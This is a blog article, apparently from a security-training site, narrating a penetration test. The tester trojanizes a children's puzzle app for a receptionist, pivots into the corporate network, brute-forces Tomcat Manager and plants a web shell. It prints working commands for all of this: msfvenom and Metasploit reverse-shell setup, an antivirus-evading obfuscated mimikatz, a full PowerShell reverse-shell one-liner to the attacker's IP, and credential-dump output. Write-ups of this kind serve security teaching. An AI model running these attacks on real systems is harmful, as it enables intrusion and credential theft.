Hacking

From APK to Golden Ticket: Initial Reconaissance

Owning an Android smartphone, gaining Domain Admin rights and more...

This article describes the potential dangers of using personal smartphones in corporate networks and as a result has been modeled after real events. It has been demonstrated that it is not so difficult for ill-intentioned to deceive an employee installing a malicious app on his smartphone, circumvent network protections, gain access to the corporate network, escalate privileges and access reserved information.

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

Get Your Plan

Also, it has been shown that it is possible to remain both stealthy and bypass all the countermeasures. These include antivirus and one can use tools that are natively provided by each operating system along with publicly available scripts with some customization without relying too much on external tools.

This is what we call the K.I.S.S. technique (Keep It Simple Stupid)

Any resemblance to real events and/or to real persons, living or dead, IP, Names, etc. is purely coincidental.

Background

"Super Company" hired us, the (Pen)tester, to conduct a social engineering assessment against their employees. The scope of the engagement was to find all the possible ways to steal reserved documents, therefore exploiting the employees.

During the in-house kickoff meeting, we requested access to the GUEST Wi-Fi. The Wi-Fi access was protected by a captive portal thus requiring a login. The credentials were valid for just one day.

Once connected, we did not resist the urge in performing a quick scan from our iPhone using Fing: the result was a list of several Android devices, apparently more than the number of guests present in the building at that moment. We thought that even the employees use the GUEST hotspot. Maybe to save their precious data plan. In fact, the receptionist - who gave us the login credentials - was chatting on WhatsApp when we asked her how to access the network. The scenario: two phones on the table, a clean desktop with a happy family picture framed: mother (the receptionist), father and a young girl.

After a brief chat, we discovered the age of the young daughter, four years old, also that she is hyperactive and to calm her down it is sufficient a smartphone with some games inside. Ah, kids today…

Attack Narrative

The social engineering engagement started with a small phishing campaign, which failed miserably. We discovered later that there had been an awareness training before our assessment, so high alert on attachments, download, etc. Not a good start for us.

We decided to focus our attention only to the receptionist. Our goal was to invite the victim to download an Android application [1] for children - remember her daughter? What could be better than a simple puzzle for children? We love puzzles!

We prepared an email with a simple link to a free download page. It was very easy to find out her personal email. We also placed in the email a QR code, so that installing was easy like taking a picture. The QR code was something like this:

Isn't it so cute? Yes, it is. Our victim will want to install our malicious Android application! The application? Ah yes, the application was a real puzzle for children with a Meterpreter shell inside.

Targeting the smartphone

So, the smartphone. Building the malicious apk was simple, we downloaded the funny app and then, using msfvenom, we injected our payload - Meterpreter shell in this case:

msfvenom -x puzzle.apk

-p android/meterpreter/reverse_tcp

LHOST=<OUR_PUBLIC_IP> LPORT=443

-o /var/www/html/puzzle.apk

We used port 443 for the listening port because, along with port 80, are standard ports usually permitted by corporate firewalls.

We were pretty confident in the fact that this app would have aroused so much interest that led the victim to ignore the warning messages during the installation.

On our machine, we started our generic payload handler in Metasploit:

msf>use exploit/multi/handler

msf exploit(handler) > set payload android/meterpreter/reverse_tcp

payload => android/meterpreter/reverse_tcp

msf exploit(handler) > set lhost <OUR_PUBLIC_IP>

lhost => <OUR_PUBLIC_IP>

msf exploit(handler) > set lport 443

lport => 443

msf exploit(handler) > exploit -j -z

[*] Started reverse TCP handler on <OUR_PUBLIC_IP>:443

Exploiting the fact that the employees use the GUEST Wi-Fi for personal use, our purpose was to have a foot in the company without being there or outside the company in a car with a nice antenna.

Taking advantage of Meterpreter

The morning after, around 8:00 am we got this wonderful message on our msfconsole:

[*] Meterpreter session 1 opened (<OUR_PUBLIC_IP>:443 ->X.X.X.X:51990) at …

Bingo! She installed and launched the apk, and we obtained a Meterpreter session!

At this point, we needed to know if our victim was connected to the company's Wi-Fi network. A quick IP check said that it was from the provider of the cellular network. Probably she was on the road to her office, and her daughter was playing with puzzle app.

It did not last too long, we lost our shell after few minutes and before 9 am we got another Meterpreter session:

[*] Meterpreter session 2 opened (<OUR_PUBLIC_IP>:443 ->K.K.K.K:61545) at …

This time the IP was the company's one, she was connected to the Wi-Fi network.

We started performing some reconnaissance. Except for several smartphones, we did not find anything relevant other than the DNS in a different subnet

meterpreter>ipconfig

…..

Interface 9

============

Name : wlan0 - wlan0

Hardware MAC : 20:6e:9c:75:94:ba

IPv4 Address : 10.118.1.13

IPv4 Netmask : 255.255.255.0

IPv6 Address : fe80::226e:9cff:fe75:94ba

IPv6 Netmask : ::

…….

meterpreter > shell

Process 1 created.Channel 1 created.

getprop net.dns1

192.168.178.196

Wi-Fi GUEST network was on 10.118.1.0/24 while the DNS server on a different subnet.

We configured our routes so that we were able to access this new subnet from the Meterpreter session of the receptionist's smartphone:

exploit(handler) > route add 192.168.178.0 255.255.255.0 1

Nmap cannot be excluded, so we did a first quick ping scan using proxychains:

msf auxiliary(socks4a) > use auxiliary/server/socks4a

msf auxiliary(socks4a) > show options

Module options (auxiliary/server/socks4a):

Name Current Setting Required Description

---- --------------- -------- -----------

SRVHOST 0.0.0.0 yes The address to listen on

SRVPORT 1080 yes The port to listen on.

# Attacker <-> proxychains nmap -sn 192.168.178.0/24 <-> DNS network

Nmap scan report for 192.168.178.195

Host is up (0.15s latency).

Nmap scan report for 192.168.178.196

Host is up (0.22s latency).

Our hosts were happy to receive our ping scan.

We performed then a quick TCP scan:

msf exploit(handler) > use auxiliary/scanner/portscan/tcp

msf auxiliary(tcp) > set RHOSTS 192.168.178.195,196

msf auxiliary(tcp) > set RPORTS 1-1024

msf auxiliary(tcp) > run

[*] 192.168.178.195: - 192.168.178.195:80 - TCP OPEN

[*] 192.168.178.195: - 192.168.178.195:8080 - TCP OPEN

[*] 192.168.178.196: - 192.168.178.196:53 - TCP OPEN

This is how the network looked like in our opinion at that moment:

Targeting the Intranet Server

Host 192.168.178.195 was with ports 80 and 8080 open. We forwarded the ports locally so that we could analyze the web traffic locally:

meterpreter> portfwd add -L 127.0.0.1 -l 8001 -r 192.168.178.195 -p 80

meterpreter> portfwd add -L 127.0.0.1 -l 8002 -r 192.168.178.195 -p 8080

Port 80 was exposing the company's phone directory. We still do not know why they published it on the GUEST network.

A quick scan did not reveal evident vulnerabilities, so we decided to check port 8080.

We got the basic authentication popup of Apache Tomcat. After some manual attempts, we fired up Hydra, and in few minutes, we got the login: admin/password123456.

We were inside Tomcat management console. Probably there was a misconfiguration on the company's firewall, since Tomcat Manager, along with the phone book, should not be available on the GUEST network.

We planned to upload a shell on Tomcat to be able to interact with the underlying OS. A brief server fingerprinting told us that we were messing with a Windows Server.

We build our war-archive using the Laudanum Injectable Web Exploit Code and then, using the Manager App, we uploaded our "war" file containing:

• cmd.jsp: our web shell for interacting with cmd.exe
• m.ps1: an obfuscated and virus stealth version of mimikatz.ps1 for grabbing passwords, hashes, etc…

Due to its flexibility, obfuscating PowerShell script is very easy. There are several well-known techniques, we simply changed some keywords, for example Invoke-mimikatz to Invoke-mymy, and other small tricks
[2].

We also added Invoke-mymy -dumpcreds at the end of the file so that the function would be directly executed.

Once uploaded, we invoked cmd.jsp from our browser:

It was a blast! Our user was running with SYSTEM privileges. We moved on doing some information gathering. First of all, the environment variables:

Command: cmd /c set

ALLUSERSPROFILE=C:ProgramData

COMPUTERNAME=SRVINTRANET

USERDOMAIN=SUPERCOMPANY

USERNAME=SRVINTRANET$

We had a name for our machine: SRVINTRANET. Also, it was a member of AD domain SUPERCOMPANY, great!

Other useful information were retrieved using systeminfo:

Command: systeminfo

Host Name: SRVINTRANET

OS Name: Microsoft Windows Server 2012 R2 Standard

OS Version: 6.3.9600 N/A Build 9600

OS Manufacturer: Microsoft Corporation

OS Configuration: Member Server

OS Build Type: Multiprocessor Free

Registered Owner: Windows User

…

Then the list of domain controllers:

Command: cmd /c nltest /dclist:supercompany

Get a list of DCs in domain 'supercompany' from 'SRVDC1'.

srvdc1.supercompany.local[PDC] [DS]Site: Default-First-Site-Name

srvdc2.supercompany.local [DS]Site: Default-First-Site-Name

The command completed successfully

At this time the Android device was probably burning, we needed to move to a "decent shell." The Android device was no more stable for us.

Our golden rule is always: being stealthy and evade AV. We went then for a PowerShell shell, hoping that SRVINTRANET could connect to the Internet.

From our webshell in Tomcat we launched our PowerShell - one-liner - connect-back shell command, while on our public box netcat was listening on port 80:

Command: cmd /c powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('<OUR_PUBLIC_IP>',80); $s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb=(IEX $data 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'>'; $sb=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sb,0,$sb.Length);

$s.Flush()};$c.Close()"

What does this script do? It launches PowerShell with some commands: creates a TCPClient object, connects back (reverse) to our machine, opens an I/O stream and evaluates what receives, i.e. what we will type, using InvokeExpression (IEX).

We were not lucky, no reverse shell to our box. This server, most likely, was not able to connect to the Internet. We moved again to webshell in Tomcat and launched our obfuscated version of mimikatz:

Command: cmd /c powershell -executionpolicy bypass -f c:tomcatwebappscmdwarfilesm.ps1

.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14

.## ^ ##. "A La Vie, A L'Amour"

## / ## /* * *

## / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )

'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)

'#####' with 20 modules * * */

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 191734 (00000000:0002ecf6)

Session : Interactive from 1

User Name : Administrator

Domain : SRVINTRANET

Logon Server : SRVINTRANET

Logon Time : 2/17/2017 2:12:31 PM

SID : S-1-5-21-938204560-2839928776-2225904511-500

msv :

[00010000] CredentialKeys

* NTLM : 604603ab105adc8XXXXXXXXXXXXXXXXX

    * SHA1 : 7754ff505598bf3XXXXXXXXXXXXXXXXXXXXXXXXX

[00000003] Primary

* Username : Administrator

* Domain : SRVINTRANET

* NTLM : 604603ab105adc8XXXXXXXXXXXXXXXXX

    * SHA1 : 7754ff505598bf3XXXXXXXXXXXXXXXXXXXXXXXXX

tspkg :

wdigest :

* Username : Administrator

* Domain : SRVINTRANET

* Password : (null)

kerberos :

* Username : Administrator

* Domain : SRVINTRANET

* Password : (null)

ssp :    KO

credman :

mimikatz(powershell) # exit

Bye!

We got the local Administrator hashes, but nothing in cleartext - this because our target was Windows Server 2012 and, obviously, things changed after 20008 [3] since WDigest credentials are no longer stored in cleartext - ah good days… Also, Credential Manager (credman) was empty. Anyway, not a bad finding.

We decided to find an alternative server who could access the Internet. We were still pivoting through an unstable connection: The Android smartphone!

Using "net view" command, we got the list of shared servers available:

Server Name Remark

-------------------------------------------------

SRVDC1 Domain controller PDC

SRVDC2 [4] Domain Controller

SRVWSUS Server WSUS

SRVAV Server AV

SRVFILE1 File Server

This was for real the server's network!

[1] http://www.apkmonk.com/app/com.clollo.simplepuzzleforchildren/

[2] Here are reported some of them https://www.slideshare.net/DanielBohannon2/invokeobfuscation-nullcon-2017

[3] https://www.trustedsec.com/april-2015/dumping-wdigest-creds-with-meterpreter-mimikatzkiwi-in-windows-8-1/

[4] https://technet.microsoft.com/en-us/library/bb490719.aspx

FREE role-guided training plans

Get 12 cybersecurity training plans — one for each of the most common roles requested by employers.

Download Now

Coming next: Exploiting and Lateral Movement